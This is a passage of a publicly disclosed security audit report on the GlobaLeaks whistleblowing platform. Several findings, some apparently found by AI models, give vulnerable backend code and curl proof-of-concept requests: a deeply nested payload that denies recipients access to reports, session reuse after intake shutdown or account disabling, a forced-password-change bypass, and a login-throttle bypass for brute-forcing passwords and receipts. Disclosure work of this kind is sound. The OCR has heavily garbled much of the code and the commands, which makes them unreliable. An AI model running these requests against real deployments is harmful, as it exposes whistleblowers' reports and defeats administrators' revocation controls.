enabled, the report-access path decrypts the stored JSON and calls i ndex_answers() recursively on attacker-
controlled nesting. The recipient report-open path and export path both call the same decrypt helper, so a
malicious submission can make assigned recipients unable to open or export that report.

Relevant code:
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# backend/ gl obal eaks/ rest/requests. py
Subni ssi onDesc = {
‘context_id' : uuid_regexp,
'receivers': [uuid_regexp],
"identity_provided : bool,
"answers': dict,
‘score': int,
‘receipt': str

}

# backend/ gl obal eaks/ handl er s/ whi st | ebl ower / submi ssi on. py
request = sel f.validate_request(self.request.content.read(),
request s. Subm ssi onDesc)

answers = request[' answers']

db_set_internal ti p_answers(session, itip.id, questionnaire_hash, answers,
itip.creation_date)

def index_answers(answers, parent_index=""):
for key in answers:
if not re.match(requests. uuid_regexp, key) or \
not isinstance(answers[key], list):
conti nue

index = 0
for answer in answers[key]:

answer ['index'] = str_index
i ndex_answer s(answer, str_i ndex)

# backend/ gl obal eaks/ handl ers/ reci pient/rtip. py
if State.tenants[self.request.tid].cache.encryption and crypto_tip_prv_key:

tip = yield defer ToThread(decrypt _tip, self.session.cc, crypto_tip_prv_key,
tip)

# backend/ gl obal eaks/ handl er s/ reci pi ent/ export. py
if tip_export['crypto_tip_prv_key']:

tip_export['tip'] = yield deferToThread(decrypt_tip, user_session.cc,
tip_export['crypto_tip_prv_key'], tip_export['tip'])

PoC

The issue is reproducible on a normal encrypted tenant with at least one configured context and receiver. The
public API exposes the context and receiver UUIDs needed for a submission, and the attacker only needs to
submit through a modified client or direct API request.

Steps to reproduce

1. Build a deeply nested answers object using a valid UUID-shaped key. The JSON below is intentionally

schematic; repeat the nesting until it exceeds Python's recursion limit while still fitting within the deployment's
request limits.
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"context_id": "<public-context-uuid>",
"receivers": ["<receiver-uuid>"],
"identity_provided": false,
"score": O,
“recei pt": "<chosen-receipt>",
"answers": {

" aaaaaaaa- aaaa- aaaa- aaaa- aaaaaaaaaaaa’: [

{

" aaaaaaaa- aaaa- aaaa- aaaa- aaaaaaaaaaaa": |

{
" aaaaaaaa- aaaa- aaaa- aaaa- aaaaaaaaaaaa”: |
{ "repeat": "the sane shape hundreds or thousands of tines" }

2. Submit that payload to the normal whistleblower submission API after obtaining the standard submission
session/token used by the web client.

curl -sS -X PCST 'https://<tenant>/api/whistlebl ower/subm ssion' \
-H ' Content-Type: application/json' \
-H ' X-Session: <whistl ebl over-session>' \
--data @eep-answer - subni ssi on. j son

3. Log in as an assigned recipient and open or export the created report.

CET /api/recipient/rtips/<report-id>
GET /api/recipient/rtips/<report-id> export

Expected result

The backend should reject submission answers that do not match the configured questionnaire schema or
exceed a conservative nesting and size limit.

Actual result

The backend stores the arbitrary nested object. Recipient report access later recurses through attacker-
controlled depth during decryption/indexing, which can fail with a recursion error or consume excessive CPU for
that report.

Impact

This is a persistent denial-of-service against recipient access to a submitted report. A public submitter can create
a report that assigned recipients cannot reliably open or export, disrupting triage and follow-up for the a ected
submission.

Impacted users or systems:

¢ Recipients assigned to the malicious submission.

e Tenants with encryption enabled, where recipient report access invokes decrypt _tip() and
i ndex_answers() .
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CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low High

Excessively Deep Nesting
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10.13 F-032 - Disabled-intake gates are not re-
checked when finalizing an existing submission
session

An existing submission session can still be used after intake is disabled, allowing reports and attachments to be
finalized past the shutdown point.

IMPACT COMPONENT FOUND BY

Intake policy bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

The backend enforces  di sabl e_subni ssi ons and the low-disk State. accept _subm ssi ons lockout only when
creating a new whistleblower submission session through empty receipt authentication. A public user who
already obtained a normal submission session can continue uploading intake attachments and can finalize a new
report after an administrator disables submissions or after the anomaly job disables intake because disk space is
critically low.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py: Recei ptAut hHandl er. post ()

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subni ssi on. py: Subni ssi onl nst ance. post ()
backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achnent . py:

Subni ssi onAt t achnment . post ()

backend/ gl obal eaks/ j obs/ anonal i es. py: check_di sk_space()

/api / aut h/ recei pt aut h

/ api / whi st | ebl ower/ subni ssi on

/ api / whi st | ebl ower/ subni ssi on/ at t achnent

Description:

ReceiptAuthHandler.post() blocks creation of a new empty-receipt submission session when submissions are
administratively disabled or when State.accept_submissions is false. That is the only backend check of those
intake gates.

Once a whistleblower submission session exists, SubmissionAttachment.post() accepts files for the draft
submission and Submissioninstance.post() creates the InternalTip without checking State.accept_submissions or
the tenant's disable_submissions setting. The disk-space anomaly job explicitly sets State.accept_submissions to
false to stop submissions under critically low disk conditions, but that state is not enforced at final report creation
or draft attachment upload.

Relevant code:
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backend/ gl obal eaks/ handl ers/auth/ __init__.py

if request['receipt']:

session = yield | ogi n_whi stlebl ower(self.request.tid, request['receipt'],

sel f.request.client_using_tor,

operator_id)
el se:

if not self.state.accept_subnmissions or self.state.tenants[self.request.tid].c
ache[ ' di sabl e_subm ssions'] :

rai se errors. Subm ssi onDi sabl ed

session = initialize_subm ssion_session(self.request.tid)

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / submi ssi on. py

class Submi ssi onl nst ance( BaseHandl er) :
check_rol es = ' whi st| ebl ovner*

def post(self):
request = self.validate_request(self.request.content.read(),
request s. Subm ssi onDesc)

return create_subnission(sel f.request.tid,
request,
sel f. sessi on,
sel f.request.client_using_tor,
sel f.request. client_usi ng_nobil e)

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achnent . py

cl ass Subni ssi onAt t achnent (BaseHandl er) :
check_rol es = ' whi stl ebl over*
upl oad_handl er = True

def post(self):
sel f. upl oaded_file['subnission'] = True
sel f.session.files. append(sel f. upl oaded_file)

backend/ gl obal eaks/ j obs/ anonal i es. py

if free_di sk_negabytes <= State.tenants[1].cache.threshol d_free_di sk_negabytes_hig
hor \
free_di sk_percentage <= State.tenants[1].cache.threshol d_free_di sk_percenta
ge_hi gh:
alarmlevel disk =1 # HGH
accept _subni ssions = Fal se

PoC

Steps to reproduce

1. While submissions are enabled, create a normal public submission session.

curl -sS -X POST https://target.exanpl e/ api/auth/recei ptauth \
-H ' Content-Type: application/json \
--data '{"receipt":""}'

Save the returned id as O .

2. Disable submissions as an administrator, or trigger the repository's low-disk lockout state so
St at e. accept _subni ssi ons becomes false.
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curl -sS -X PUT https://target.exanpl e/ api / adm n/ node \
-H ' Content-Type: application/json' \
-H ' x-session: <adm n-session>' \
--data '<valid node settings w th "disabl e_subm ssions": true>

3. Confirm that creating a new empty-receipt submission session is now rejected with Subm ssi onDi sabl ed .

curl -sS -X POST https://target.exanpl e/ api /auth/recei ptauth \
-H ' Content-Type: application/json' \
--data '{"receipt":""}"

4. Reuse the old 0 to finalize a report by posting a valid submission body for one of the tenant's public contexts.

curl -sS -X POST https://target.exanpl e/ api / whi st| ebl ower/ subm ssi on \
-H ' Content-Type: application/json' \
-H ' x-session: <subm ssion-session> \
--data ' {"context_id":"<context-uui d>","receivers":["<recei ver-
uui d>"],"identity_provided":fal se, "answers":{}, "score": 0, "recei pt": " <new
recei pt>"}'

The same existing session can also upload draft files to /api / whi st | ebl ower/ subm ssi on/ att achnent because
the attachment handler and upload pre-processing do not check the disabled-submissions state.

Expected result

After submissions are disabled, the backend should reject both new submission-session creation and completion
of existing draft submission sessions, especially when intake is disabled due to critically low disk space.

Actual result

The existing submission session remains authorized for final report creation and draft attachment upload. The
disabled-submissions checks are not re-evaluated after the session is issued.

Impact

This is a workflow-enforcement bypass. A public attacker can preserve a submission session before a shutdown
window or low-disk lockout, then create reports and upload draft attachments after the backend says
submissions are disabled. This defeats administrator intake controls and can worsen disk-pressure conditions that
the anomaly job is explicitly trying to contain.

Impacted users or systems:

e Administrators relying on di sabl e_subm ssi ons to stop new report intake.

o Deployments where State. accept _subm ssi ons is false because free disk space crossed the high-severity
threshold.

e Recipients and operators who may receive or process reports created during an intended intake shutdown.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low Low
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CWE-841 ) Improper Enforcement of Behavioral Workflow
CWE-440 ) Expected Behavior Violation
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10.14 F-033 - Disabling a user does not revoke
that user's active sessions

Disabling an account does not terminate its live sessions, so a logged-in user can keep operating after revocation.

IMPACT COMPONENT FOUND BY

Revocation bypass Backend GPT-5.5 medium via
run_codex_cwe_line vl

Disabling an internal user account does not revoke the user's existing backend session or cause authenticated
APIs to re-check the User. enabl ed flag. A recipient who is disabled while logged in can continue using recipient
APIs, including report access APIs, until the in-memory session expires and can keep renewing that session
through the normal session-refresh endpoint.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ sessi ons. py: Sessi onsFact ory

backend/ gl obal eaks/ rest/decorators. py: decorator_authenti cation
backend/ gl obal eaks/ handl ers/auth/ __init__.py: SessionHandl er. post
backend/ gl obal eaks/ handl er s/ adm n/ user. py: db_adm n_updat e_user
backend/ gl obal eaks/ handl ers/reci pient/rtip.py: db_access_rtip

Description:

The login path creates an in-memory Session object containing the user's role and user ID. Later authorization
decisions accept that session if the role matches the handler's required role; they do not reload the user record or
check that the account is still enabled. The admin user-update path can set Userenabled to false, but it does not
revoke active sessions for that user.

Because /api/auth/session also trusts the same session and refreshes the TempDict timeout after validating the
per-session proof-of-work token, a disabled user who still has an active browser session can keep the session
alive and continue to access role APIs. For a recipient, report endpoints then join ReceiverTip and InternalTip by
user ID but still do not require Userenabled to be true, so the disabled recipient can continue reading and
mutating assigned reports despite the administrator's revocation action.

Relevant code:
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backend/ gl obal eaks/ sessi ons. py

89 def revoke(self, tid, user_id):

90 for k, vinlist(self.itens()):

91 if v.tid ==tid and v.user_id == user_id:

92 del sel f[Kk]

93

94 def new(self, tid, user_id, user_tid, user_role, cc='"', ek=""'):
95 sel f.revoke(tid, user_id)

96 session = Session(tid, user_id, user_tid, user_role, cc, ek)

backend/ gl obal eaks/ rest/ decor at or s. py

38 if self.session and self.session.tid == self.request.tid:

39 if 'user' in user_roles and self.session.role in USERS ROLES:
40 return f(self, *args, **kwargs)

41 if self.session.role in user_roles:

42 return f(self, *args, **kwargs)

backend/ gl obal eaks/ handl ers/auth/ __init__.py

286 try:

287 sel f. sessi on. token. val i dat e(request [ 't oken']. encode().split(
1)

288 Sessi ons. reset _tineout (sel f. sessi on)

289 except Exception:

290 pass

291 el se:

292 sel f.session.token = sel f.state.tokens. newsel f.request.tid)

backend/ gl obal eaks/ handl er s/ adm n/ user . py
150 user = db_get_user(session, tid, user_id)

165 user . updat e(r equest)

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py
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b": ")

584 return db_get (session,
585 (nmodel s. User, nodel s. Recei ver Ti p, nodel s. I nternal Tip),
586 (nodel s. User.id == user_id,
587 nodel s. Internal Tip.id == itip_id,
588 nodel s. Recei ver Ti p. recei ver _i d == nodel s. User. i d,
589 nodel s. Recei verTip.internaltip_id == nodel s. Internal Tip.id,
590 nodel s. Internal Tip.tid == tid))
PoC

Steps to reproduce

1. Log in as a recipient and save the returned id and token from the session response.

curl -s -X POST https://target.exanpl e/ api / aut h/ aut henti cati on \
-H *content-type: application/json \
--data '{"tid":1,"usernane": "recipient","password":"<derived-or-plai n-

passwor d>", "aut hcode": ""}"

2. As an administrator, update the same user and set enabl ed to
API.

curl -s -X PUT https://target.exanpl e/ api / adm n/ user s/ <r eci pi ent -user-i d> \
-H ' x-session: <adm n-session>' \
-H *content-type: application/json \
--data '{"enabl ed":false, ...}'

fal se through the normal admin user update

3. Continue using the recipient session to access an assigned report.
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curl -i https://target.exanpl e/ api/recipient/rtips/<report-id>\

-H ' x-session: <di sabl ed-reci pi ent - sessi on>'

4, Before the session timeout, solve the session proof-of-work token and refresh the same disabled-user session
through  / api / aut h/ sessi on .

curl -i -X POST https://target.exanpl e/ api / aut h/ sessi on \
-H ' x-session: <di sabl ed-reci pi ent - sessi on> \
-H 'content-type: application/json \
--data ' {"token":"<sessi on-token-id>: <val i d- proof - of - wor k- answer >"}*

Expected result

Disabling a user should invalidate that user's active sessions or cause every authenticated request to fail once the
backing account is disabled. The session-refresh endpoint should not extend sessions for disabled users.

Actual result

The role stored in the existing session remains su cient for authorization. Recipient report APIs continue to work
for the disabled account, and [/ api/ aut h/ sessi on can renew the same session timeout.

Impact

Thisis an insu cient session expiration and revocation issue. If an administrator disables a recipient account
because of compromise, departure, or misuse, the recipient can continue accessing assigned reports while their
session remains active and can keep that session alive through the normal client keepalive mechanism.

Impacted users or systems:

¢ Deployments where administrators disable recipient accounts as a revocation or incident-response action.

o Whistleblowers whose reports are assigned to a recipient account that has been disabled while the recipient
still holds an active session.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Medium None

CWE-613 ) Insu cient Session Expiration
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10.15 F-034 - Forced password-change state not
enforced before role APl access

A user flagged for mandatory password change can still use role APIs before completing the required credential
rotation.

IMPACT COMPONENT FOUND BY
Credential-rotation bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Internal users marked with passwor d_change_needed are redirected by the Angular client to the forced
password-change page, but the backend still grants and refreshes normal role sessions and authorizes role APIs
from the cached session role. A recipient whose password must be changed can therefore continue accessing
report APIs before completing the forced password-change workflow.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py: |ogin, SessionHandl er.post

backend/ gl obal eaks/ handl er s/ adm n/ user. py: db_adm n_updat e_user

backend/ gl obal eaks/ handl er s/ adm n/ oper ati on. py: toggl e_escrow,

db_set _user_password

backend/ gl obal eaks/ handl ers/user/ __init__.py: user_serialize_user

backend/ gl obal eaks/rest/decorators. py: decorator_authentication
client/app/src/shared/resol vers/ preference.resol ver.ts: PreferenceResol ver.resol ve

Description:

Several backend workflows set Userpassword_change_needed to require a password change: migrated
password hashes, first encrypted login without escrow keys, password-age expiry, the admin user editor's "Force
password change" checkbox, administrator password resets, and key-escrow enablement for other users.

That state is only surfaced as preference metadata. The Angular PreferenceResolver reacts by navigating to
/action/forcedpasswordchange, but it still returns true and is not an authorization boundary. The backend login
transaction returns a normal Sessions.new(..) object even after it sets password_change_needed. The shared
authorization decorator then checks only session tenant and role, and the session-refresh endpoint can extend
the same session without consulting the current User.password_change_needed flag.

As a result, a direct API client, modified browser client, or stale active session can use normal
recipient/admin/analyst/custodian APIs while the account is supposed to be confined to password change. This
is distinct from the reset-token confinement issue because it a ects ordinary password-authenticated sessions
and backend password-change states such as password-age expiry, explicit admin forced-change flags, escrow
enablement, and active sessions present when an administrator resets or forces the password-change state.

Relevant code:
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# backend/ gl obal eaks/ handl ers/auth/ __init__.py
125 if len(user.hash) != 64:
126 user . passwor d_change_needed = True

139 # Require password change if password change threshold is exceeded

140 if State.tenants[tid].cache. password_change period > 0 and \
141 user . passwor d_change_dat e < dateti me_now() -

tinedel ta(days=State. tenants[tid].cache. password_change_peri od):
142 user . passwor d_change_needed = True
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148 session = Sessions.new(tid, user.id, user.tid, user.role, crypto_prv_key,

user . crypt o_escrow_prv_key)

282 def post(self):

287 sel f. sessi on. token. val i dat e(request[' token']. encode().split(b":")[1

1)
288 Sessi ons. reset _ti meout (sel f. sessi on)
294 return sel f.session.serialize()

# backend/ gl obal eaks/ handl er s/ adm n/ user . py
158 # Prevent adninistrators to reset password change needed status

159 i f user.password_change_needed:
160 request [ ' passwor d_change_needed'] = True
165 user . updat e(r equest )

# backend/ gl obal eaks/ handl er s/ adm n/ oper at i on. py

91 if tid==1:
92 user . crypt o_escrow _bkpl_key = crypto_escrow bkp_key
93 sessi on. query(nodel s. User).filter(nodels. User.id !'=

user _sessi on. user _i d) . updat e({' passwor d_change_needed' : True},
synchr oni ze_sessi on=Fal se)

212 user . hash = sha256( key)
213 user . passwor d_change_date = datetime_now()
214 user . passwor d_change_needed = True

# backend/ gl obal eaks/ handl ers/user/ __init__.py
65 ' passwor d_change_needed' : user . passwor d_change_needed,

# backend/ gl obal eaks/ rest/ decor at or s. py
32def decorator_authentication(f, roles):

38 if self.session and sel f.session.tid == self.request.tid:

39 if 'user' in user_roles and self.session.role in USERS ROLES:
40 return f(self, *args, **kwargs)
41 if self.session.role in user_roles:
42 return f(self, *args, **kwargs)

# client/app/ src/shared/ resol vers/ preference. resol ver.ts

23 this. dataMbdel = response;
24 if (this.dataModel .password_change_needed) {
25 this.router.navigate(["/action/forcedpasswordchange"]).then();
29 return true;
PoC

Steps to reproduce

1. Configure a tenant with a recipient account that has report access. Mark that account as requiring a password
change without disabling it. This can be done through the admin user editor's passwor d_change_needed field, by

letting passwor d_change_peri od expire, or by using an existing session before an administrator password reset

or escrow enablement sets the same flag.
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User . passwor d_change_needed = true. User.enabled = true.

2. Authenticate as that recipient with the still-valid account password, or reuse a recipient session that was active
before the forced-change flag was set.

curl -s -X POST 'https://TARGET/ api / aut h/ aut henti cation' \
-H " Content-Type: application/json' \
--data '{"tid":0,"usernanme":"REQ Pl ENT", "passwor d": " PASSWORD', "aut hcode": ""}"

3. Confirm that the backend reports the forced password-change state for the same session.

curl -s '"https:// TARGET/ api / user/ pref erences’ \
-H' X Session: SESSION | D

The response includes "password_change_needed": true .

4. Before calling /api/user/operations with operation: change_password , use the same session to access
normal role APIs. For a recipient account:

curl -s '"https://TARGET/ api/recipient/rtips' \
-H'X-Session: SESSICN | D

5. Optionally refresh the same session before expiry.

curl -s -X POST 'https:// TARGET/ api / aut h/ sessi on' \
-H'X-Session: SESSION ID \
-H ' Content-Type: application/json' \
--data ' {"token":" TCKEN FROM SESSI ON SERI ALI ZATI ON'}'

Expected result

While passwor d_change_needed is true, the backend should confine the session to the minimum endpoints

needed to fetch password-change metadata, change the password, and log out. Recipient report APIs,
administration APIs, exports, settings changes, tenant switching, and session refresh should not be available until
the password change succeeds.

Actual result

The backend authorizes role APIs using only the cached session role and tenant. It does not re-check
User . passwor d_change_needed in the shared authorization path or session-refresh endpoint, so normal role

functionality remains available before the forced password change is completed.

Impact

This is a behavioral workflow bypass for forced credential rotation. A recipient can keep using report APIs while
the account is in a forced password-change state, and a holder of the old valid password can access the account
despite an administrator or policy requiring password rotation before continued use. On deployments using
forced password change after suspected credential exposure, password-age expiry, password-hash migration, or
escrow changes, the backend does not enforce the intended containment boundary.

Impacted users or systems:
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o Whistleblowers whose reports are accessible to a recipient account marked for forced password change.

o Administrators relying on the forced password-change flag or password-age policy to block normal account
use until credential rotation.

o Encrypted deployments that force password changes when key material or escrow configuration changes.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

Improper Enforcement of Behavioral Workflow
CWE-306 ) Missing Authentication for Critical Function
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10.16 F-038 - Login throttling is bypassed by
attaching an existing public session

An attacker can attach a public session to repeated login attempts and bypass the normal authentication throttle.

IMPACT COMPONENT FOUND BY
Brute-force protection Backend Claude Sonnet 4.6 medium
bypass viarun_codex_cwe_line vl

Authentication attempt throttling is skipped when a login request includes any valid session for the same tenant.
Because public users can create a whistleblower submission session before knowing a report receipt, an
unauthenticated attacker can first obtain that session and then send repeated / api/ aut h/ aut henti cati on or

[ api / aut h/ recei pt aut h guesses with x-sessi on , bypassing the configured login rate-limit counters.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/decorators. py: decorator_rate_|imt
backend/ gl obal eaks/ handl ers/auth/ __init__.py: Aut henti cati onHandl er
backend/ gl obal eaks/ handl ers/auth/ __init__.py: Recei pt Aut hHandl er

Description:

The rate-limit decorator applies login throttles only in the branch where sel f. sessi on is absent. The
authentication handlers are declared with check_rol es = "any' |, so arequest that already carries a valid
session is still allowed to reach the login code.

ReceiptAuthHandler also creates a normal whistleblower session when called with an empty receipt. That path is
part of the public submission flow, so an attacker does not need account credentials or an existing report receipt
to obtain a same-tenant session. Once the attacker includes that session in  x- sessi on , login and receipt

guessing requests no longer execute the | ogi ns_per_m nute_* rate-limit checks.
Relevant code:
backend/ gl obal eaks/ rest/ decor at or s. py

79 def decorator_rate_ |imt(f):

90 if self.session:

91 user_id = sel f.session.user_id. encode()

127 el se:

128 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:

129 delay = State. RateLimt.check(b"l ogi ns_per_m nute_per_tenant _per _i
p:* +tid+ b":" +client_ip,

130 root _tenant. cache. t hreshol d_| ogi ns_p
er_m nut e_per_tenant _per_ip,

131 60)
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backend/ gl obal eaks/ handl ers/auth/ __init__.py

190 class Authenti cati onHandl er (BaseHandl er):
193 check_rol es = 'any'

240 cl ass Recei pt Aut hHandl er (BaseHandl er) :

244 check_rol es = 'any'

258 if request['receipt']:

259 session = yield | ogi n_whistl ebl over (sel f.request.tid,

request['receipt'],

260 sel f.request.client_using_tor,

operat or_i d)

261 el se:

262 if not self.state.accept_subm ssions or

sel f.state.tenants[sel f.request.tid].cache['disabl e_subn ssions']:

263 rai se errors. Subni ssionD sabl ed

264

265 session = initialize_subm ssion_session(self.request.tid)
PoC

Steps to reproduce

1. Obtain the proof-of-work token required for the public receipt-auth endpoint, solve it as the client normally
does, and request a public submission session by posting an empty receipt.

PCST / api / aut h/ r ecei pt aut h
x-token: <token-id>: <pow answer >

{"receipt":""}

2. Reuse the returned session id while sending repeated account-password or receipt guesses.

PCST / api / aut h/ aut hent i cati on
X-sessi on: <publ i c-whi st| ebl ower - sessi on-i d>

{"tid":1,"usernanme":"adm n", " password":"w ong- passwor d", "aut hcode": ""}

PCST / api /aut h/ recei ptaut h
X-sessi on: <publ i c-whi st| ebl ower - sessi on-i d>

{"recei pt":"0000000000000000" }

3. Compare this with the same invalid login requests sent without x-session .

Requests wi thout a session enter the "|ogins_per_mnute *° checks and are del ayed
after the configured threshol ds. Requests with the public session stay in the "if
sel f.session” branch and never update those | ogin counters.

Expected result

Login and report-receipt authentication attempts should be rate-limited based on the target authentication
operation even when the request contains an existing session.

Actual result
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The presence of any valid same-tenant session prevents /api/auth/aut henticati on and
/api / aut h/ recei ptaut h from executing the login rate-limit branch.

Impact

This is an authentication throttling bypass. A remote attacker can reduce the e ectiveness of brute-force
protections for user passwords and whistleblower report receipts by attaching a public session to each guess.

Impacted users or systems:

e Users whose account login attempts are protected by the configured threshol d_| ogi ns_per _m nut e_*
settings.

o Whistleblowers whose report receipts are protected by the same receipt-auth throttling path.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low Low

Improper Restriction of Excessive Authentication Attempts
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10.17 F-043 - Revoked recipient settings
delegation persists in active session

Revoking a recipient's settings delegation does not take e ect until logout, so the old session keeps elevated
tenant-editing powers.

IMPACT COMPONENT FOUND BY
Permission revocation bypass Backend GPT-5.5 medium via
run_codex_cwe_line v1

The backend copies a recipient's can_edit_general _settings delegation into the in-memory session at login
and later authorizes settings and file-management APIs from that session flag. If an administrator revokes the
delegation while the recipient is logged in, the active session keeps the old permission and the recipient can
continue editing general settings and tenant files until the session expires.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py: |ogin

backend/ gl obal eaks/ sessi ons. py: Sessi on. has_per m ssi on

backend/ gl obal eaks/ handl er s/ adm n/ user. py: db_adm n_updat e_user

backend/ gl obal eaks/ handl er s/ adm n/ node. py: Nodel nst ance. det erm ne_al | ow config_fil
ter

backend/ gl obal eaks/ handl ers/adm n/file.py: Fil el nstance. per m ssi on_check,

Fil eCol | ecti on. get

Description:

At login, a receiver with can_edit_general_settings gets a session-local permission flag. The later settings and file
endpoints check only self.session.has_permission('can_edit_general_settings') for receiver sessions, which reads
the stale in-memory permission dictionary. The admin user-update path can set can_edit_general_settings to
false on the User row, but it does not revoke or update existing sessions and the authorization checks do not
reload the User row.

As a result, revoking delegated settings access is not e ective for a recipient who already has an active session.
That recipient can continue using /api/admin/node to edit the subset of general settings exposed by
SiteSettingsDesc, list tenant files, and upload/delete the tenant logo through the admin file handler despite no
longer having the delegation in the database.

Relevant code:
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backend/ gl obal eaks/ handl ers/auth/ __init__.py

148 session = Sessions.new(tid, user.id, user.tid, user.role, crypto_prv_key,
user . crypt o_escrow_prv_key)

149

150 if user.role == "receiver' and user.can_edit_general _settings:

151 sessi on. perm ssi ons[ ' can_edit _general _settings'] = True

backend/ gl obal eaks/ sessi ons. py
61 def has_perm ssion(sel f, permssion):
62 return sel f. perm ssions. get (perm ssion, Fal se)

backend/ gl obal eaks/ handl er s/ adm n/ user . py
150 user = db_get_user(session, tid, user_id)

165 user . updat e(r equest )

backend/ gl obal eaks/ handl er s/ adm n/ node. py

123 def determne_allow config_filter(self):

124 if self.session.role == "admn':

125 node = ('adm n_node', requests.Adm nNodeDesc)

126 elif self.session. has_perm ssion('can_edit_general _settings'):
127 node = ('general _settings', requests.SiteSettingsDesc)
128 el se:

129 rai se errors. | nval i dAut henti cation

backend/ gl obal eaks/ handl ers/ adm n/fil e. py

120 el se:
121 if name not in ['logo'] or \
122 not sel f.session. has_perm ssion(' can_edi t_general _settings
Y
123 raise errors.|nvalidAut hentication
170 if self.session.role !="adnmn' and not
sel f. sessi on. has_per ni ssi on(' can_edi t_general _settings'):
171 rai se errors. | nval i dAut henti cation
PoC

Steps to reproduce

1. Configure a recipient with can_edit _general _settings setto true ,then log in as that recipient and save the
session ID.

curl -s -X POST https://target.exanpl e/ api /auth/ aut henti cation \
-H 'content-type: application/json' \
--data ' {"tid": 1, "usernane":"recipient", "password":"<derived-or-plain-

passwor d>", “aut hcode": ""}"

2. As an administrator, update the recipient and set can_edit_general _settings to false .

curl -s -X PUT https://target.exanpl e/ api / adm n/ user s/ <r eci pi ent - user-i d> \
-H ' x-session: <adm n-session>' \
-H 'content-type: application/json' \
--data '{"can_edit_general _settings":false, ...}’

3. Use the recipient's still-active session to retrieve or update the general settings resource.

curl -i https://target.exanpl e/ api / adn n/ node \
-H ' x-session: <recipient-sessi on>'

4. Use the same recipient session to list tenant files or upload/delete the tenant logo.
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curl -i https://target.exanpl e/ api/admn/files \

-H ' x-session: <recipient-sessi on>'

Expected result

Once the administrator revokes delegated settings access, the recipient's active session should no longer
authorize settings or file-management APIs, or the session should be revoked immediately.

Actual result

The backend continues authorizing the recipient from the stale session-local can_edit_general _settings flag,

so the revoked recipient can still access the delegated settings and file APIs.

Impact

This is an improper session authorization refresh issue. It lets a recipient retain delegated administrative settings
capabilities after an administrator has revoked them, weakening separation between administrators and recipients
and extending a sensitive cross-role delegation longer than intended.

Impacted users or systems:

o Deployments that temporarily delegate general settings management to recipients.

o Administrators who revoke that delegation while the recipient still has an active session.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Medium Low

CWE-613 ) Insu cient Session Expiration
CWE-841 ) Improper Enforcement of Behavioral Workflow
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10.18 F-044 - Redaction creation and file
redaction omit audit log entries

A recipient with redaction privileges can hide or delete report content without leaving a complete administrator-
visible audit trail.

IMPACT COMPONENT FOUND BY
Auditability loss Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Recipient redaction operations do not consistently write to the persistent audit log. Creating a new mask through

PCST / api / reci pi ent/redacti ons inserts the redaction row without any Audi t Log entry, and permanently
redacting a fully masked whistleblower file deletes the Internal Fil e record withoutthe update_redaction
audit entry that text redactions use. A recipient with masking/redaction privileges can therefore obscure or delete
report evidence without leaving the administrator-visible audit trail that other report state changes create.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/ api . py: 88-89 - /api/recipient/redactions
backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py: create_redaction
backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py: updat e_r edacti on
backend/ gl obal eaks/ handl ers/ reci pient/rtip. py: del ete_wbfile

Description:

The redaction subsystem writes updat e_r edacti on audit events for later temporary-mask updates and for
permanent text redactions. However, the first mask creation path stores a new Redaction row without calling
db_l og() . The file-redaction path is also unaudited: when a redaction request targets a fully masked file, the

backend deletes the whistleblower file and the redaction row directly, without logging either the redaction update
or the file deletion.

Relevant code:
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# backend/ gl obal eaks/ handl ers/reci pient/rtip. py
def db_update_tenporary_redaction(session, tid, user
redaction_data):

db_l og(session, tid=tid, type='update_redaction’
obj ect _id=redaction.id, data=log_data)

def db_redact_data(session, tid, user_id, redaction,
per manent _r edact i on):

db_l og(session, tid=tid, type=update_ redaction’
obj ect _i d=redaction.id, data=log_data)

def delete_wbfile(session, tid, user_id, file_id):
ifile = (
sessi on. query(nodel s. Internal Fil e)

Distribution

_id, redaction,

, user_id=user_id,

tenporary_redaction,

, user_id=user_id,

.filter(nodels.InternalFile.id == file_id,
nodel s. Wi stleblowerFile.internalfile_id ==

nodel s. Internal File.id,

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

nodel s. Recei verTi p. id == nodel s. Wii st ebl ower Fi | e. recei vert

nodel s. I nternal Ti p.id == nodel s. Recei verTip.internal tip_id,

ip_id,
nodel s. Recei ver Ti p. recei ver _id == user_id,
nodel s. Internal Tip.tid == tid)
Lfirst()
)
if ifile:
session. del ete(ifile)
@r ansact

def create_redaction(session, tid, user_id, data):
user, rtip, itip = db_access_rtip(session, tid,
data['internaltip_id])

if not user.can_nask_i nfornation:
return

redaction = nodel s. Redacti on()
redaction.id = data.get('id")

user_id,

redaction.reference_id = data.get('reference_id')

redaction.entry = data.get('entry', '0")
redaction.internaltip_id =itip.id

redaction. tenporary_redacti on = data. get('tenpor
redact i on. per manent _redaction = []

sessi on. add( r edact i on)

session. fl ush()

ary_redaction')

return serializers.serialize_redaction(session, redaction)
@r ansact
def update_redaction(session, tid, user_id, redaction_id, redaction_data,
tip_data):

elif operation == 'redact' and user.can_redact_infornation:

elif content_type == "file':
if len(redaction.tenporary_redaction) == 1 and \
redaction.tenporary_redaction[Q].get('start', False) ==

and \

redaction. tenporary_redaction[ 0]
del ete_wbfile(session, tid, user_id,
sessi on. del et e(redact i on)

PoC

.get('end', False) =="i
redaction. ref erence_i d)
